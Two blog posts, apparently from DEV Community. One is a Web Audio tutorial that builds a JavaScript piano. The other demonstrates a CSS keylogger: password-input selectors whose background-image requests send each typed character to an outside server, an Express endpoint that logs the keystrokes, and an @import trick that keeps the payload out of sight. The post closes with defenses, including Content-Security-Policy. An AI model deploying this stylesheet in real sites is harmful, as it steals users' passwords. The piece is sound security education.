DEV Community: Mojtaba Izadmehr

Let's Create a Song with Vanilla Javascript

Mojtaba Izadmehr — Sat, 17 Apr 2021 19:23:24 +0000

But why does it matter?

First, it's cool, isn't it?

Secondly, something as simple as this can have huge security implications and use cases in fraud detection.

Are you interested to know what can be a more terrible invasion of our privacy than third-party cookies, a method that can follow you even when you use incognito or a VPN? The answer is browser fingerprinting, and using the browser Audio API is one of the techniques they can use to achieve this. In the first part, let's start easy and create a digital piano with JavaScript.

Javascript provides an API to create mathematically generated sound nodes and create a song from them.

The Web Audio API

The Web Audio API is the API supported by browsers which can create sounds or add effect to them. It can use different sources for audio nodes and link them together as chains to create audio graphs.
Different kinds of sources are:

Sound/Video files (MediaElementAudioSourceNodes)
Audio streams (MediaStreamAudioSourceNodes)
Mathematical calculations (OscillatorNodes)

Mathematical calculations are the part that I'm interested in. The most boring way to use it is to create a short beep. But, it is also possible to link enough of these nodes and create a song, but not any song; it's a completely digital and mathematically created song!

Let's talk a bit about how this can be used in browser fingerprinting!

These days, many people are s about 3rd party cookies, and how their usage as especially by advertisers is invading our privacy.

Browser fingerprinting is much worse. Some libraries out there can identify you even when using the incognito/VPN with a 99.5% accuracy rate. It can keep track of all the times you visited the website, and find out all your different IP addresses, locations, and session types.
They use many different techniques, but one of their techniques is using the browser AudioContext. By creating a mathematical sound oscillator in your browser and analyzing it, they can get good guesses about whether you have already visited the website or not.

source:https://fingerprintjs.com/demo/

Sound Creation

Let's not get ahead of ourselves, and let's start the journey by creating the most boring beep sound. We can use the AudioContext. Then we can use createOscillator to create a mathematically generated sound wave and connect it to the audio context we just created.

const audioCtx = new AudioContext();
const oscillator = audioCtx.createOscillator();
oscillator.type = "sine";
oscillator.connect(audioCtx.destination);
oscillator.start();

Sinusoidal sound waves are one of the famous sound waves out there. It has a well-rounded sound to it and by controlling its frequency we can control how low or high it sounds. As the human hearing range frequency is between 20 Hz to 20000 Hz (each Hz means 1 cycle second), so let's create a simple script to test our hearing.

We can change the frequency like this:

oscillator.frequency.setValueAtTime(frequency, audioCtx.currentTime);

What was your hearing range? Could you hear all the way to 20 kHz? Or did the loud heavy metal songs already affected your hearing, like mine?

If you are interested to visualize the sound wave in the same range check this video out:

Digital Piano

Now that we could create a basic beep, let's try to create a Piano. The frequencies of an 88-key piano can be calculated with the following formula:

We can play around with our code from the previous section, and change the slider to a piano, with several keys.

Piano Frequency Range

If we use this formula for an 88-key piano (n=1 to n=88), the frequency can range from 27.5 to 4186. This range is too big, let's use a piano with fewer keys, which is in the more pleasant range. What about 15 keys, the notes range from C3 (130 Hz) to D4 (293 Hz). We will include thrid and a little bit of the fourth octave.

source: https://www.doomsquadmusic.com/piano-keys-explained/

Piano Design

Let's get started with the design, and let's start our design with a few simple keys.

<div class="piano">
   <div class="key white-key"/>
   <div class="key black-key"/>
   <div class="key white-key"/>
</div>

And let's arrange them with flex, and split the space between them:

Let's start with basic styling with ugly rectangles:

.piano{
  display: flex;
  .white-key {
    flex: 1;
    height: 200px;
    border:1px solid #160801;
    background: white;
  }

  .black-key {
    flex: 0.5;
    height: 100px;
    z-index: 1;
    margin:0 -15px;
    border:1px solid #160801;
    background: black;
  }
}

It works, it will add a black key with half-height, and a little bit of intersection with white keys. But it has a huge problem, it's so damn ugly. So, let's add a few shadows for normal and pressed cases.

.piano{
  background:#222;
  padding: 20px;
  display: flex;
  border-radius: 10px;

  .white-key {
    flex: 1;
    height: 200px;
    border:1px solid #121212;
    border-radius:10px 10px 20px 20px;
    box-shadow:0 0 50px rgba(0,0,0,0.5) inset,0 1px rgba(212,152,125,0.2) inset,0 5px 15px rgba(0,0,0,0.5);
    background: white;

    &:active {
        border:1px solid #777;
        border-left:1px solid #999;
        border-bottom:1px solid #999;
        box-shadow:2px 0 3px rgba(0,0,0,0.1) inset,-5px 5px 20px rgba(0,0,0,0.2) inset,0 0 3px rgba(0,0,0,0.2);
        background:linear-gradient(to bottom,#fff 0%,#e9e9e9 100%)
    }
  }

  .black-key {
    flex: 0.5;
    height: 100px;
    z-index: 1;
    margin:0 -20px;
    border:1px solid #121212;
    border-radius:10px 10px 20px 20px;
    box-shadow:0 0 50px rgba(0,0,0,0.5) inset,0 1px rgba(212,152,125,0.2) inset,0 5px 15px rgba(0,0,0,0.5);
    background:linear-gradient(45deg,#222 0%,#555 100%);

    &:active {
      box-shadow:-1px -1px 2px rgba(255,255,255,0.2) inset,0 -2px 2px 3px rgba(0,0,0,0.6) inset,0 1px 2px rgba(0,0,0,0.5);
      background: linear-gradient(to right,#444 0%,#222 100%)
    }
  }
}

For simplicity we can create key elements dynamically with JavaScript, and append them to an empty <div class="piano" />, the return value of this snipped is an array of 15 keyElements.

const pianoEl = document.querySelector(".piano");
const startingKeyNumber = 28;

// Let's append the keys dynamically
const keyElements = Array(15)
  .fill()
  .map((item, index) => {
    const keyElement = document.createElement("button");
    const isBlackKey = index % 2;
    keyElement.className = `key ${isBlackKey ? "black-key" : "white-key"}`;
    keyElement.setAttribute("data-number", index + startingKeyNumber);
    pianoEl.appendChild(keyElement);
    return keyElement
  });

Let's add an onClick to keys to add sounds. But instead of adding onClick, let's just add only one onclick event listener to the parent element. It can help with creating a smooth effect so that the sound continues between different piano keys.

// Let's create audio context and the oscillator

let isPlaying = false;
const audioCtx = new AudioContext();
let oscillator;
let currentKeyNumber;
let frequency; // We can calculate frequency based on key numbebr


pianoEl.onpointerdown = (e) => {
  if (currentKeyNumber && !isPlaying) {
    oscillator = audioCtx.createOscillator();
    oscillator.connect(audioCtx.destination);
    oscillator?.frequency.setValueAtTime(frequency, audioCtx.currentTime);
    // We can use the triangle type this time which sounds a little bit funky and party friendly
    oscillator.type = "triangle";
    oscillator.start();
    isPlaying = true;
  }
};

// Mathematical formula to calculate frequency
const getKeyFrequency = (keyNumber) => Math.pow(2, (keyNumber - 49) / 12) * 440;

In this code, we just generated sound once, but we don't change the frequency when the mouse clicks other buttons. So there are two problems with it:

The sound doesn't stop:
- We can add an event listener onmouseup and onmouseleave on piano parent element to stop the sound:

pianoEl.onmouseup = pianoEl.onmouseleave = (e) => {
  if (isPlaying) {
    oscillator?.stop();
    isPlaying = false;
  }
};

There is no smooth way to switch between keys:
- We can add on onmouseover event listener to every key, and change the frequency. We can add this logic to the end of keyElements chain.

const keyElements = Array(15)
  .fill()
  .map(
  ...
  )
  .forEach((keyElement) => {
    keyElement.onmouseover = (e) => {
      const currentKey = e.target;
      currentKeyNumber = currentKey.dataset.number;
      frequency = getKeyFrequency(currentKeyNumber);
      oscillator?.frequency.setValueAtTime(frequency, audioCtx.currentTime);
    };
  });

Here is a working version of the piano:

Let's create a meaningful song, it's April now, so which song makes the most sense than Jingle Bells? Not really, but let's start easy! Here is a very basic melody for it. It shows the sequence of keys, the duration each one should be pressed, and the delay before pressing the next key.

const jingleBellKeys =[
  { "key": 32, "duration": 200, "delay": 50 },
  { "key": 32, "duration": 200, "delay": 50 },
  { "key": 34, "duration": 300, "delay": 100 },

  { "key": 32, "duration": 200, "delay": 50 },
  { "key": 32, "duration": 200, "delay": 50 },
  { "key": 34, "duration": 300, "delay": 100 },

  { "key": 32, "duration": 200, "delay": 50 },
  { "key": 32, "duration": 200, "delay": 50 },
  { "key": 28, "duration": 200, "delay": 50 },
  { "key": 30, "duration": 200, "delay": 50 },
  { "key": 32, "duration": 300, "delay": 0 }
]

Let's try to add a button that can do this automatically. First, we need a sleep method, which does the delay process. It creates a promise and does a setTimeout when setTimeout's time arrives, it resolves the promise.

const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));

Next, we need to create a button that will do a loop on this array and plays it:

playJingleBellButton.onclick = async () => {
  const notesList = jingleBellKeys;

  // let's do a map on all the keys
  for (let note of notesList) {
    // creating the oscillator object
    oscillator = audioCtx.createOscillator();
    oscillator.type = "triangle";
    oscillator.connect(audioCtx.destination);

    // calculate frequency from key number
    frequency = getKeyFrequency(note.key);
    oscillator?.frequency.setValueAtTime(frequency, audioCtx.currentTime);

    // start pressing the button
    oscillator.start();

    // wait for the duration the key is pressing
    await sleep(note.duration);

    // stop the oscillator when finished with pressing the key
    oscillator.stop();

    // wait before pressing the next key
    await sleep(note.delay);
  }
};

We can do a little bit of style improvement to also show what is being pressed. Here is the final result:

Look cool, right?

In the next part, I'll dive a bit deeper into digital finger printing, and how it can be used to identify the user.

Missed Frontend Vulnerabilities (1): CSS is not as safe as you think!

Mojtaba Izadmehr — Thu, 22 Oct 2020 05:14:21 +0000

In this series of posts, I want to go through some security-related frontend issues that I find interesting. I will try to test out these ideas with code and keep track of my findings at least for my future reference.

The first one in these series is about CSS, yeah the innocent cute little CSS. An unsafe piece of CSS code (whether it is a third-party library or user-generated) can lead to huge security implications.

A while back I saw some tweets saying that it is possible for third-parties to add a key logger to your site with CSS. There is also a proof of concept as a chrome extension on github.

The idea behind it is pretty simple:

You add a CSS library (thinking with yourself that well-known ones are too heavy, and you come across this new fancy CSS library on npm)
They provide you with some useful classes like tailwind or bootstrap (For this purpose, they don't even need you to import any Javascript asset to your project, CSS is enough).
Among their thousands of lines of code, there is some faulty logic that can steal your client's data.

But how is it even possible!

Let's think for a while... What do the hackers need in order to write a simple keylogger?

Track some user inputs (for example passwords)
Send it to their server

input[type="password"][value="a"] { background-image: url("https://hackerserver/add-key?val=a"); }

With this simple line of code:

Track user inputs: Whenever the value of the input field is a, they know it.
Send it to their server: by adding a background image for the input, they basically trigger a GET call to their server and can return an empty pixel, so you won't even notice it.

This only works with a <input/> with the value of a, but it is easy to change the CSS selector from

input[type="password"][value="a"]

input[type="password"][value$="a"]

Now they only look for the password inputs that end in a, now you can simply do this for all the characters, and every time the user inputs a new value, there will be a new request to their server, and voila it works...

Let's implement this!

Backend (github):

I decided to use a very basic express server for this purpose. In this short snippet, express.static is responsible for serving the CSS file needed as third-party, and the two main endpoints are also added.

const express = require("express");
var cors = require('cors')

const app = express();
app.use(cors())

app.use('/static', express.static('public'))
const port = process.env.PORT || 8080;

app.get("/css-keylogger/add-key", require('./routes/css-keylogger/addKey'));
app.get("/css-keylogger/keys", require('./routes/css-keylogger/getKeys'));


app.listen(port, () => {
  console.log(`Example app listening at http://localhost:${port}`);
});

1. Provide the third-party syles for the frontend (github):

This file is supposed to provide some basic CSS functionalities that the victim client will need, for this case I added some really useful styles that we will need later in the Frontend side.

However, at the end of the file you will see these lines:

...
input[type="password"][value$="A"] { background-image: url("https://security-check-playground.herokuapp.com/css-keylogger/add-key?val=A"); }
input[type="password"][value$="B"] { background-image: url("https://security-check-playground.herokuapp.com/css-keylogger/add-key?val=B"); }
input[type="password"][value$="C"] { background-image: url("https://security-check-playground.herokuapp.com/css-keylogger/add-key?val=C"); }
input[type="password"][value$="D"] { background-image: url("https://security-check-playground.herokuapp.com/css-keylogger/add-key?val=D"); }
input[type="password"][value$="E"] { background-image: url("https://security-check-playground.herokuapp.com/css-keylogger/add-key?val=E"); }
input[type="password"][value$="F"] { background-image: url("https://security-check-playground.herokuapp.com/css-keylogger/add-key?val=F"); }
input[type="password"][value$="G"] { background-image: url("https://security-check-playground.herokuapp.com/css-keylogger/add-key?val=G"); }
input[type="password"][value$="H"] { background-image: url("https://security-check-playground.herokuapp.com/css-keylogger/add-key?val=H"); }
input[type="password"][value$="I"] { background-image: url("https://security-check-playground.herokuapp.com/css-keylogger/add-key?val=I"); }
input[type="password"][value$="J"] { background-image: url("https://security-check-playground.herokuapp.com/css-keylogger/add-key?val=J"); }
input[type="password"][value$="K"] { background-image: url("https://security-check-playground.herokuapp.com/css-keylogger/add-key?val=K"); }
input[type="password"][value$="L"] { background-image: url("https://security-check-playground.herokuapp.com/css-keylogger/add-key?val=L"); }
input[type="password"][value$="M"] { background-image: url("https://security-check-playground.herokuapp.com/css-keylogger/add-key?val=M"); }
...

2. An endpoint to add the new keystrokes (github):

Now when the user uses this CSS file, for every keystroke on the password inputs the server is called with a GET call. In this endpoint, we save the results of the recent keystroke, and we can return an empty pixel:

const cssKeyLoggerAddKeyHandler = async (req, res) => {
  // push the recent key stroke to logs
  const key = req.query.val;
  const time = new Date().getTime();
  loggedKeys.push({ time, key });

  // transparent 1x1 pixel
  const imgData =
 "data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==";
  const base64Data = imgData.replace(/^data:image\/gif;base64,/, "");
  const img = Buffer.from(base64Data, "base64");

  res.writeHead(200, {
    "Content-Type": "image/png",
    "Content-Length": img.length,
  });
  res.end(img);
};

3. An endpoint to get the list of endpoints (github)

For the sake of simplicity, we can store the logged keys, in a variable, and create a small dashboard for the hacker, to get the list of the recently logged keys:

const cssKeyLoggerGetKeysHandler = async (req, res) => {
  res.json(loggedKeys)
};

Frontend:

For the frontend side, we can use a very small create-react-app project and add a login form which will render the welcome component on submit. In order to be able to see the results from the hacker's side, I added another tab to get and see the results from their point of view.
The form uses the CSS class names provided by the third party. And the in hacker's panel you can see the results.

Why is it almost impossible to debug this issue?

You might be thinking that ok now that I'm aware of it, after every update, I will upgrade the third parties, I will check the networks tab on password fields. Or you might be thinking that I am already using snyk.io or GitLab securities, and as soon as there is a risk, they will let me know. Unfortunately, no! Let's put ourselves in the shoes of a smart hacker. They know that you know this, so if they can somehow hide the network requests, they win.

A monster called `@import`!

To be honest, before working on this, I didn't even know that you can import CSS within CSS, and I thought @import can only be used for fonts. But then I saw that almost every browser on the planet supports it (when even IE6 supports it, there is nothing to say...)

So by doing @import unsafe third-party can add dynamic imports. So let's rewrite our styles with @import. In order to do so, we just need to add:

@import url("./keyloggerStyles.css");

on top of the third-party CSS file, and create a keyloggerStyles.css file containing all the bad logic.

So the hacker can easily add the bad logic to a separate CSS file on their own server and reference it. When you initially test the third party nothing bad happens (the keylogger file is empty). They don't even need you to do an upgrade to the corrupted version. One day, when you are probably sleeping, they can change the contents of the corrupted file on their server, and steal the information of the users for a while, and they can remove the logic again, and no one will know anything.

This code sandbox is a simple implementation of the same thing. The hacker can change the content of the keylogger CSS file at their own convenience, and when they turn it on, as soon as a user reloads the page, and fills out a form, the keylogging happens.

So what can be done?

Well, probably the first thing to say is that we need to be cautious. It is impossible to avoid using third-parties completely. However, It is better to self-host such assets. About this particular case, it is also very important to make sure that there are no additional network requests, that you did no allow. And also it might be a good idea to open their distribution CSS file and make sure that they are not using @import without proper justification.

As Wesley suggested in the comments, a good solution is this:

Self-host all assets (or of course use known cdns)
Make sure that no CSS is being @imported in the destribution.
Add Content Security Policy (CSP) meta tag to your HTML file. By managing the whitelist servers, you can block any unwanted network requests to other servers. A simple meta tag would look like this:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'">

The default-src part is the default policy for loading javascript, images, CSS, fonts, AJAX requests, etc.
self means allowing only requests to the same domain. However, you should have it in your mind that if there are any external requests, you would have to add them as allowed.

Another important note is that even if there is one instance of @import from a shady server, (and supposedly it includes some important CSS classes that you need in your project), then you would have to make sure that you only allow that single file and no other endpoints from that server. Otherwise, if you whitelist the whole domain, the issue will stay remain.

Besides these points, there are several vulnerability databases, which will help us with the widely known security risks. The integration of such services such as snyk.io or GitLab securities can help find some of these new issues.